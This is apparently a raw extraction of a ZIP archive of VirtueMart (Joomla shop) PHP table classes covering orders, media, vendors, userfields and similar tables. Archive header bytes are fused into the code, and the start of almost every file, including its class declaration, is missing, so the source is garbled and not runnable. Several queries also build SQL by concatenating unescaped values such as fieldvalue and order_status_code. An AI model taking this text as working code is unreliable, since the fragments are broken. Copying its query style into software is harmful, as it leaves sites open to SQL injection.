`virtuemart_userfield_value_id` FROM `#__virtuemart_userfield_values` ' . 'WHERE `fieldvalue`="' . $this->fieldvalue . '" ' . 'AND `virtuemart_userfield_id`=' . $this->virtuemart_userfield_id; $db->setQuery($q); $_id = $db->loadResult(); if ($_id === null) { $this->virtuemart_userfield_value_id = null; } else { $this->virtuemart_userfield_value_id = $_id; } return true; } /** * Reimplement delete() to get a list if value IDs based on the field id * @var Field id * @return boolean True on success */ function delete( $virtuemart_userfield_id=null , $where = 0 ){ $db = JFactory::getDBO(); $db->setQuery('DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . $virtuemart_userfield_id); if ($db->query() === false) { vmError($db->getError()); return false; } return true; } } //No CLosing Tag PKs>\ %com_virtuemart/tables/order_items.phpnuW+AsetLoggable(); } } // pure php no closing tag PKs>\J>3,com_virtuemart/tables/calc_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKs>\ J"com_virtuemart/tables/invoices.phpnuW+AsetUniqueName('invoice_number'); $this->setLoggable(); $this->setTableShortCut('inv'); } } PKs>\0sT]]!com_virtuemart/tables/vmusers.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('vmu'); } } PKs>\ox)com_virtuemart/tables/calc_categories.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_category_id','calc_categories'); } } PKs>\w% (com_virtuemart/tables/product_prices.phpnuW+AsetPrimaryKey('virtuemart_product_price_id'); $this->setLoggable(); $this->setTableShortCut('pp'); $this->_updateNulls = true; } /** * @author Max Milbers * @param */ function check(){ if(!empty($this->product_price)){ $this->product_price = str_replace(array(',',' '),array('.',''),$this->product_price); } if(isset($this->product_override_price)){ $this->product_override_price = str_replace(array(',',' '),array('.',''),$this->product_override_price); } return parent::check(); } } // pure php no closing tag PKs>\ɂ)com_virtuemart/tables/shipmentmethods.phpnuW+AsetUniqueName('shipment_name'); $this->setObligatoryKeys('shipment_jplugin_id'); $this->setObligatoryKeys('shipment_name'); $this->setLoggable(); $this->setTranslatable(array('shipment_name', 'shipment_desc')); $this->setSlug('shipment_name'); } } // pure php no closing tag PKs>\(]996com_virtuemart/tables/shipmentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_shipmentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKs>\d`a5 5 $com_virtuemart/tables/currencies.phpnuW+AsetUniqueName('currency_name'); $this->setLoggable(); $this->setOrderable(); } function check(){ //$this->checkCurrencySymbol(); return parent::check(); } /** * ATM Unused ! * Checks a currency symbol wether it is a HTML entity. * When not and $convertToEntity is true, it converts the symbol * Seems not be used ATTENTION seems BROKEN, working only for euro, ... * */ function checkCurrencySymbol($convertToEntity=true ) { $symbol = str_replace('&', '&', $this->currency_symbol ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } else { if( $convertToEntity ) { $symbol = htmlentities( $symbol, ENT_QUOTES, 'utf-8' ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } // Sometimes htmlentities() doesn't return a valid HTML Entity switch( ord( $symbol ) ) { case 128: case 63: $symbol = '€'; break; } } } $this->currency_symbol = $symbol; } } // pure php no closing tag PKs>\"!com_virtuemart/tables/ratings.phpnuW+AsetPrimaryKey('virtuemart_rating_id'); // $this->setObligatoryKeys('virtuemart_product_id'); $this->setLoggable(); $this->setTableShortCut('r'); } } // pure php no closing tag PKs>\T% % (com_virtuemart/tables/paymentmethods.phpnuW+AsetObligatoryKeys('payment_jplugin_id'); $this->setObligatoryKeys('payment_name'); $this->setLoggable(); $this->setTranslatable(array('payment_name', 'payment_desc')); $this->setSlug('payment_name'); // $this->setUniqueName('ordering'); } } // pure php no closing tag PKs>\)com_virtuemart/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\422!com_virtuemart/tables/vendors.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setUniqueName('vendor_name'); $this->setSlug('vendor_store_name'); //Attention the slug autoname MUST be also in the translatable, if existing $this->setLoggable(); $this->setTranslatable(array('vendor_store_name','vendor_phone','vendor_store_desc','vendor_terms_of_service','vendor_legal_info','vendor_url','metadesc','metakey','customtitle','vendor_letter_css', 'vendor_letter_header_html', 'vendor_letter_footer_html')); $varsToPushParam = array( 'vendor_min_pov'=>array(0.0,'float'), 'vendor_min_poq'=>array(1,'int'), 'vendor_freeshipment'=>array(0.0,'float'), 'vendor_address_format'=>array('','string'), 'vendor_date_format'=>array('','string'), 'vendor_letter_format'=>array('A4','string'), 'vendor_letter_orientation'=>array('P','string'), 'vendor_letter_margin_top'=>array(45,'int'), 'vendor_letter_margin_left'=>array(25,'int'), 'vendor_letter_margin_right'=>array(25,'int'), 'vendor_letter_margin_bottom'=>array(25,'int'), 'vendor_letter_margin_header'=>array(12,'int'), 'vendor_letter_margin_footer'=>array(20,'int'), 'vendor_letter_font'=>array('helvetica','string'), 'vendor_letter_font_size'=>array(8, 'int'), 'vendor_letter_header_font_size'=>array(7, 'int'), 'vendor_letter_footer_font_size'=>array(6, 'int'), 'vendor_letter_header'=>array(1,'int'), 'vendor_letter_header_line'=>array(1,'int'), 'vendor_letter_header_line_color'=>array("#000000",'string'), 'vendor_letter_header_image'=>array(1,'int'), 'vendor_letter_header_imagesize'=>array(60,'int'), 'vendor_letter_header_cell_height_ratio'=>array(1,'float'), 'vendor_letter_footer'=>array(1,'int'), 'vendor_letter_footer_line'=>array(1,'int'), 'vendor_letter_footer_line_color'=>array("#000000",'string'), 'vendor_letter_footer_cell_height_ratio'=>array(1,'float'), 'vendor_letter_add_tos' => array(0,'int'), 'vendor_letter_add_tos_newpage' => array(1,'int') ); $this->setParameterable('vendor_params',$varsToPushParam); $this->setTableShortCut('v'); // vmdebug('myvendor table',$this); } } //pure php no closing tag PKs>\̅m5com_virtuemart/tables/paymentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_paymentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKs>\&com_virtuemart/tables/waitingusers.phpnuW+AsetLoggable(); } function check() { if(empty($this->notify_email) || !filter_var($this->notify_email, FILTER_VALIDATE_EMAIL)) { vmError(JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS'),JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS')); return false; } return parent::check(); } } // pure php no closing tag PKs>\#com_virtuemart/tables/languages.phpnuW+AsetTableShortCut('l'); } } // pure php no closing tag PKs>\ܓC  ,com_virtuemart/tables/product_categories.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_category_id'); $this->setOrderable('ordering',false); } } PKs>\zz'com_virtuemart/tables/manufacturers.phpnuW+AsetUniqueName('mf_name'); $this->setLoggable(); $this->setTranslatable(array('mf_name','mf_email','mf_desc','mf_url')); $this->setSlug('mf_name'); $this->setTableShortCut('m'); } } // pure php no closing tag PKs>\mn-com_virtuemart/tables/manufacturer_medias.phpnuW+AsetPrimaryKey('virtuemart_manufacturer_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKs>\q com_virtuemart/tables/orders.phpnuW+AsetUniqueName('order_number'); $this->setLoggable(); $this->setTableShortCut('o'); } function check(){ if(empty($this->order_number)){ if(!class_exists('VirtueMartModelOrders')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'orders.php'); $this->order_number = VirtueMartModelOrders::generateOrderNumber((string)time()); } if(empty($this->order_pass)){ $this->order_pass = 'p_'.substr( md5((string)time().$this->order_number ), 0, 5); } $adminID = JFactory::getSession()->get('vmAdminID'); if(isset($adminID)) { $this->created_by = $adminID; } return parent::check(); } /** * Overloaded delete() to delete records from order_userinfo and order payment as well, * and write a record to the order history (TODO Or should the hist table be cleaned as well?) * * @var integer Order id * @return boolean True on success * @author Oscar van Eijk * @author Kohl Patrick */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE from `#__virtuemart_order_userinfos` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_payment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery('DELETE from `'.$paymentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_shipment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); $shipmentName = $this->_db->loadResult(); if(empty($shipmentName)){ vmError('Seems the used shipmentmethod got deleted'); //Can we securely prevent this just using // 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` // WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); } else { $shipmentTable = '#__virtuemart_shipment_plg_'. $shipmentName; $this->_db->setQuery('DELETE from `'.$shipmentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError('TableOrders delete Order shipmentTable = '.$shipmentTable.' `virtuemart_order_id` = '.$id.' dbErrorMsg '.$this->_db->getError()); return false; } } $_q = 'INSERT INTO `#__virtuemart_order_histories` (' . ' virtuemart_order_history_id' . ',virtuemart_order_id' . ',order_status_code' . ',created_on' . ',customer_notified' . ',comments' .') VALUES (' . ' NULL' . ','.$id . ",'-'" . ',NOW()' . ',0' . ",'Order deleted'" .')'; $this->_db->setQuery($_q); $this->_db->query(); // Ignore error here return parent::delete($id); } } PKs>\f$com_virtuemart/tables/worldzones.phpnuW+AsetUniqueName('zone_name'); $this->setLoggable(); } } // pure php no closing tag PKs>\4CETT!com_virtuemart/tables/coupons.phpnuW+AsetObligatoryKeys('coupon_code'); $this->setLoggable(); } } // pure php no closing tag PKs>\f%com_virtuemart/tables/calc_states.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_state_id'); } } PKs>\2nNU U 0com_virtuemart/tables/manufacturercategories.phpnuW+AsetUniqueName('mf_category_name'); $this->setLoggable(); $this->setTranslatable(array('mf_category_name','mf_category_desc')); $this->setSlug('mf_category_name'); } /* * Verify that user have to delete all manufacturers of a particular category before that category can be removed * * @return boolean True if category is ready to be removed, otherwise False */ function checkManufacturer($categoryId = 0) { if($categoryId > 0) { $db = JFactory::getDBO(); $q = 'SELECT count(*)' .' FROM #__virtuemart_manufacturers' .' WHERE virtuemart_manufacturercategories_id = '.$categoryId; $db->setQuery($q); $mCount = $db->loadResult(); if($mCount > 0) { vmInfo('COM_VIRTUEMART_REMOVE_IN_USE'); return false; } } return true; } } // pure php no closing tag PKs>\K>&com_virtuemart/tables/rating_votes.phpnuW+AsetPrimaryKey('virtuemart_rating_vote_id'); $this->setLoggable(); } } // pure php no closing tag PKs>\*com_virtuemart/tables/order_calc_rules.phpnuW+AsetLoggable(); } } // pure php no closing tag PKs>\!com_virtuemart/tables/reports.phpnuW+A\P[-- com_virtuemart/tables/medias.phpnuW+AsetPrimaryKey('virtuemart_media_id'); // $this->setUniqueName('file_title'); $this->setLoggable (); } /** * * @author Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check () { $ok = TRUE; $notice = TRUE; if (empty($this->file_type) and empty($this->file_is_forSale)) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_MEDIA_NO_TYPE'), $this->file_name); } if (!empty($this->file_url)) { if (function_exists ('mb_strlen')) { if (mb_strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', mb_strlen ($this->file_url))); } } else { if (strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', strlen ($this->file_url))); } } if (strpos ($this->file_url, '..') !== FALSE) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_URL_NOT_VALID', $this->file_url)); } if (empty($this->virtuemart_media_id)) { $q = 'SELECT `virtuemart_media_id`,`file_url` FROM `' . $this->_tbl . '` WHERE `file_url` = "' . $this->_db->getEscaped ($this->file_url) . '" '; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $count = count ($unique_id); if ($count !== 0) { if ($count == 1) { if (empty($this->virtuemart_media_id)) { $this->virtuemart_media_id = $unique_id[0]['virtuemart_media_id']; } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_ALREADY_IN_DB')); $ok = FALSE; } } else { // vmError(JText::_('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); $ok = FALSE; } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_URL')); $ok = FALSE; } if (empty($this->file_title) && !empty($this->file_name)) { $this->file_title = $this->file_name; } if (!empty($this->file_title)) { if (strlen ($this->file_title) > 126) { vmError (JText::sprintf ('COM_VIRTUEMART_TITLE_TOO_LONG', strlen ($this->file_title))); } $q = 'SELECT * FROM `' . $this->_tbl . '` '; $q .= 'WHERE `file_title`="' . $this->_db->getEscaped ($this->file_title) . '" AND `file_type`="' . $this->_db->getEscaped ($this->file_type) . '"'; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $tblKey = 'virtuemart_media_id'; if (!empty($unique_id)) { foreach ($unique_id as $item) { if ($item['virtuemart_media_id'] != $this->virtuemart_media_id) { $lastDir = substr ($this->file_url, 0, strrpos ($this->file_url, '/')); $lastDir = substr ($lastDir, strrpos ($lastDir, '/') + 1); if (!empty($lastDir)) { $this->file_title = $this->file_title . '_' . $lastDir; } else { $this->file_title = $this->file_title . '_' . rand (1, 9); } } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE')); $ok = FALSE; } if (!empty($this->file_description)) { if (strlen ($this->file_description) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_DESCRIPTION_TOO_LONG', strlen ($this->file_description))); } } // $app = JFactory::getApplication(); //vmError('Checking '.$this->file_url); if (empty($this->file_mimetype)) { $rel_path = str_replace ('/', DS, $this->file_url); //The function mime_content_type is deprecated, we may use /*function _mime_content_type($filename) { $result = new finfo(); if (is_resource($result) === true) { return $result->file($filename, FILEINFO_MIME_TYPE); } return false; } if (function_exists ('mime_content_type')) { $ok = TRUE; $app = JFactory::getApplication (); if (!$this->file_is_forSale) { $this->file_mimetype = mime_content_type (JPATH_ROOT . DS . $rel_path); } else { $this->file_mimetype = mime_content_type ($rel_path); } if (!empty($this->file_mimetype)) { if ($this->file_mimetype == 'directory') { vmError ('cant store this media, is a directory ' . $rel_path); return FALSE; } else { if (strpos ($this->file_mimetype, 'corrupt') !== FALSE) { vmError ('cant store this media, Document corrupt: Cannot read summary info ' . $rel_path); return FALSE; } } } else { vmError ('Couldnt resolve mime ' . $rel_path); return FALSE; } } else {*/ if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } if (!$this->file_is_forSale) { $lastIndexOfSlash = strrpos ($this->file_url, '/'); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } else { $lastIndexOfSlash = strrpos ($this->file_url, DS); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } if (empty($name)) { vmError (JText::_ ('COM_VIRTUEMART_NO_MEDIA')); } //images elseif($file_extension === 'jpg' or $file_extension === 'jpeg' or $file_extension === 'jpe'){ $this->file_mimetype = 'image/jpeg'; } elseif($file_extension === 'gif'){ $this->file_mimetype = 'image/gif'; } elseif($file_extension === 'png'){ $this->file_mimetype = 'image/png'; } elseif($file_extension === 'bmp'){ vmInfo(JText::sprintf('COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP',$name)); $notice = true; } //audio elseif($file_extension === 'mp3'){ $this->file_mimetype = 'audio/mpeg'; } elseif($file_extension === 'ogg'){ $this->file_mimetype = 'audio/ogg'; } elseif($file_extension === 'oga'){ $this->file_mimetype = 'audio/vorbis'; } elseif($file_extension === 'wma'){ $this->file_mimetype = 'audio-/x-ms-wma'; } //video //added missing mimetypes: m2v elseif( $file_extension === 'mp4' or $file_extension === 'mpe' or $file_extension === 'mpeg' or $file_extension === 'mpg' or $file_extension === 'mpga' or $file_extension === 'm2v'){ $this->file_mimetype = 'video/mpeg'; } elseif($file_extension === 'avi'){ $this->file_mimetype = 'video/x-msvideo'; } elseif($file_extension === 'qt' or $file_extension === 'mov'){ $this->file_mimetype = 'video/quicktime'; } elseif($file_extension === 'wmv'){ $this->file_mimetype = 'video/x-ms-wmv'; } //Added missing formats elseif($file_extension === '3gp'){ $this->file_mimetype = 'video/3gpp'; } elseif($file_extension === 'ogv'){ $this->file_mimetype = 'video/ogg'; } elseif($file_extension === 'flv'){ $this->file_mimetype = 'video/x-flv'; } elseif($file_extension === 'f4v'){ $this->file_mimetype = 'video/x-f4v'; } elseif($file_extension === 'm4v'){ $this->file_mimetype = 'video/x-m4v'; } elseif($file_extension === 'webm'){ $this->file_mimetype = 'video/webm'; } //applications elseif($file_extension === 'zip'){ $this->file_mimetype = 'application/zip'; } elseif($file_extension === 'pdf'){ $this->file_mimetype = 'application/pdf'; } elseif($file_extension === 'gz'){ $this->file_mimetype = 'application/x-gzip'; } elseif($file_extension === 'exe'){ $this->file_mimetype = 'application/octet-stream'; } elseif($file_extension === 'swf'){ $this->file_mimetype = 'application/x-shockwave-flash'; } //missing types elseif($file_extension === 'doc'){ $this->file_mimetype = 'application/msword'; } elseif($file_extension === 'docx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; } elseif($file_extension === 'xls'){ $this->file_mimetype = 'application/vnd.ms-excel'; } elseif($file_extension === 'xlsx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; } elseif($file_extension === 'ppt'){ $this->file_mimetype = 'application/vnd.ms-powerpoint'; } elseif($file_extension === 'pptx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; } elseif($file_extension === 'txt'){ $this->file_mimetype = 'text/plain'; } elseif($file_extension === 'rar'){ $this->file_mimetype = 'application/x-rar-compressed'; } else { vmInfo (JText::sprintf ('COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE', $name)); $notice = TRUE; } //} } //Nasty small hack, should work as long the word for default is in the language longer than 3 words and the first //letter should be always / or something like this //It prevents storing of the default path $a = trim(substr($this->file_url_thumb,0,4)); $b = trim(substr(JText::_('COM_VIRTUEMART_DEFAULT_URL'),0,4)); if( strpos($a,$b)!==FALSE ){ $this->file_url_thumb = null; } if ($ok) { return parent::check (); } else { return FALSE; } } /** * We need a customised error handler to catch the errors maybe thrown by * mime_content_type * * @author Max Milbers derived from Philippe Gerber */ function handleError ($errno, $errstr) { // error was suppressed with the @-operator if (0 === error_reporting ()) { return FALSE; } throw new ErrorException($errstr, 0); //echo 'I throw exception'; //throw new ErrorException($errstr, 0, $errno, $errfile, $errline); } } // pure php no closing tag PKs>\$'com_virtuemart/tables/vendor_medias.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKs>\@c !com_virtuemart/tables/customs.phpnuW+AsetUniqueName('custom_title'); $this->setObligatoryKeys('field_type'); $this->setLoggable(); $this->setOrderable('ordering',false); } /* * field from 3 table have to be checked at delete * #__vm_custom_field,#__virtuemart_customs,#__virtuemart_product_customfields */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE X,C FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS X ON X.`virtuemart_custom_id` = C.`virtuemart_custom_id` WHERE C.`virtuemart_custom_id`=' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // pure php no closing tag PKs>\Ikk(com_virtuemart/tables/rating_reviews.phpnuW+AsetPrimaryKey('virtuemart_rating_review_id'); $this->setObligatoryKeys('comment'); $this->setLoggable(); } } // pure php no closing tag PKs>\ J//!com_virtuemart/tables/configs.phpnuW+AsetLoggable(); } } // pure php no closing tag PKs>\\\'com_virtuemart/tables/shoppergroups.phpnuW+AsetUniqueName('shopper_group_name'); $this->setLoggable(); $this->setTableShortCut('sg'); } // /** // * Validates the shopper group record fields. // * // * @author Markus Öhler // * @return boolean True if the table buffer contains valid data, false otherwise. // */ function check(){ if (empty($this->shopper_group_name) ){ vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME')); return false; } else { if(function_exists('mb_strlen') ){ if (mb_strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } else { if (strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } } return parent::check(); } } // pure php no closing tag PKs>\D %com_virtuemart/tables/orderstates.phpnuW+AsetObligatoryKeys('order_status_code'); $this->setObligatoryKeys('order_status_name'); $this->setObligatoryKeys('order_stock_handle'); $this->setLoggable(); } /** * Validates the order status record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check(){ $db = JFactory::getDBO(); $q = 'SELECT count(*),virtuemart_orderstate_id FROM `#__virtuemart_orderstates` '; $q .= 'WHERE `order_status_code`="' . $this->order_status_code . '"'; $db->setQuery($q); $row = $db->loadRow(); if(is_array($row)){ if($row[0]>0){ if($row[1] != $this->virtuemart_orderstate_id){ vmError(JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS')); return false; } } } return parent::check(); } } //No CLosing Tag PKs>\0 com_virtuemart/tables/calcs.phpnuW+AsetUniqueName('calc_name'); $this->setObligatoryKeys('calc_kind'); $this->setLoggable(); } } // pure php no closing tag PKs>\p"com_virtuemart/tables/products.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setObligatoryKeys('product_name'); $this->setLoggable(); $this->setTranslatable(array('product_name','product_s_desc','product_desc','metadesc','metakey','customtitle')); $this->setSlug('product_name'); $this->setTableShortCut('p'); //We could put into the params also the product_availability and the low_stock_notification $varsToPushParam = array( 'min_order_level'=>array(null,'float'), 'max_order_level'=>array(null,'float'), 'step_order_level'=>array(null,'float'), //'product_packaging'=>array(null,'float'), 'product_box'=>array(null,'float') ); $this->setParameterable('product_params',$varsToPushParam); $this->_updateNulls = true; } } // pure php no closing tag PKs>\3,//(com_virtuemart/tables/product_medias.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable('ordering',true); // $this->setOrderableFormname('mediaordering'); } } PKs>\%::#com_virtuemart/tables/countries.phpnuW+AsetUniqueName('country_name'); $this->setObligatoryKeys('country_2_code'); $this->setObligatoryKeys('country_3_code'); $this->setLoggable(); $this->setOrderable('ordering',false); } } // pure php no closing tag PKs>\y00 com_virtuemart/tables/states.phpnuW+AsetUniqueName('state_name'); $this->setObligatoryKeys('state_2_code'); $this->setObligatoryKeys('state_3_code'); $this->setLoggable(); } } // pure php no closing tag PKs>\ com_virtuemart/tables/index.htmlnuW+APKs>\ KRR$com_virtuemart/tables/usergroups.phpnuW+AsetUniqueName('group_name'); $this->setLoggable(); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues){ if (preg_match('/[^a-z0-9\._\-]/i', $this->group_name) > 0) { vmError(JText::_('COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS')); return false; } return parent::check(); } } //No CLosing Tag PKs>\mK%/com_virtuemart/tables/product_manufacturers.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKs>\St(com_virtuemart/tables/calc_countries.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_country_id'); } } PKs>\ߝ-com_virtuemart/tables/category_categories.phpnuW+AsetPrimaryKey('category_child_id'); $this->setOrderable(); $this->setTableShortCut('cx'); } }PKs>\mPP$com_virtuemart/tables/userfields.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); $this->setUniqueName('name'); $this->setObligatoryKeys('title'); $this->setLoggable(); $this->setOrderable('ordering',false); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues) { if (preg_match('/[^a-z0-9\._\-]/i', $this->name) > 0) { vmError(JText::_('COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS')); return false; } if($this->name !='virtuemart_country_id' and $this->name !='virtuemart_state_id'){ $reqValues = array('select', 'multiselect', 'radio', 'multicheckbox'); if (in_array($this->type, $reqValues) and $nrOfValues == 0 ) { vmError(JText::_('COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE')); return false; } } return parent::check(); } /** * Format the field type * @param $_data array array with additional data written to other tables * @return string Field type in SQL syntax */ function formatFieldType(&$_data = array()) { $_fieldType = $this->type; switch($this->type) { case 'date': $_fieldType = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $_fieldType = 'MEDIUMTEXT'; break; case 'checkbox': $_fieldType = 'TINYINT'; break; case 'age_verification': $this->params = 'minimum_age='.(int)$_data['minimum_age']."\n"; default: $_fieldType = 'VARCHAR(255)'; break; } return $_fieldType; } /** * Reimplement the store method to return the last inserted ID * * @return mixed When a new record was succesfully inserted, return the ID, otherwise the status */ public function store($updateNulls = false) { $isNew = ($this->virtuemart_userfield_id == 0); if (!parent::store($updateNulls)) { // Write data to the DB vmError($this->getError()); return false; } else { return $this->virtuemart_userfield_id; } } function checkAndDelete($table,$where = 0){ $ok = 1; $k = $this->_tbl_key; if($where!==0){ $whereKey = $where; } else { $whereKey = $this->_pkey; } $query = 'SELECT `'.$this->_tbl_key.'` FROM `'.$table.'` WHERE '.$whereKey.' = "' .$this->$k . '"'; // stAn - it should be better to add this directly to the controller of the shopper fields // only additionally, controllers are not considered as safe. if (isset($this->name)) { $umodel = VmModel::getModel('userfields'); $arr = $umodel->getCoreFields(); if (in_array($this->name, $arr)) { vmError('Cannot delete core field!'); return false; } } $this->_db->setQuery( $query ); $list = $this->_db->loadResultArray(); if($list){ foreach($list as $row){ $ok = $row; $query = 'DELETE FROM `'.$table.'` WHERE '.$this->_tbl_key.' = "'.$row.'"'; $this->_db->setQuery( $query ); if (!$this->_db->query()){ $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete '.$this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } } //No CLosing Tag PKs>\.`LL)com_virtuemart/tables/order_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_id'); $this->setLoggable(); } } // pure php no closing tag PKs>\H ==.com_virtuemart/tables/vmuser_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKs>\/<)com_virtuemart/tables/order_userinfos.phpnuW+AsetLoggable(); } } // No closing tagPKs>\)b.com_virtuemart/tables/order_item_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_item_id'); $this->setLoggable(); } } // pure php no closing tag PKs>\o0N,com_virtuemart/tables/calc_manufacturers.phpnuW+A St.Kraft 2013-02-24 Herstellerrabatt * @param JDataBase $db */ function __construct(&$db){ parent::__construct('#__virtuemart_calc_manufacturers', 'id', $db); $this->setPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKs>\AO.com_virtuemart/tables/product_customfields.phpnuW+AsetPrimaryKey('virtuemart_product_id'); // $this->setSecondaryKey('virtuemart_customfield_id'); $this->setLoggable(); $this->setOrderable(); } function check(){ if(!empty($this->custom_price)){ $this->custom_price = str_replace(array(',',' '),array('.',''),$this->custom_price); } else { $this->custom_price = null; } return parent::check(); } } PKs>\u (com_virtuemart/elements/vmcategories.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart', false); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } function fetchElement($name, $value, &$node, $control_name) { JPlugin::loadLanguage('com_virtuemart', JPATH_ADMINISTRATOR); $categorylist = ShopFunctions::categoryListTree(array($value)); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $html = '"; return $html; } } if (JVM_VERSION === 2 ) { class JFormFieldVmCategories extends VmElementVmCategories { } } else { class JElementVmCategories extends VmElementVmCategories { } }PKs>\Q/com_virtuemart/elements/vmmanufacturersmenu.phpnuW+AgetManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $control_name . '[' . $name . ']', '', $name, 'mf_name', $value, $control_name . $name); } 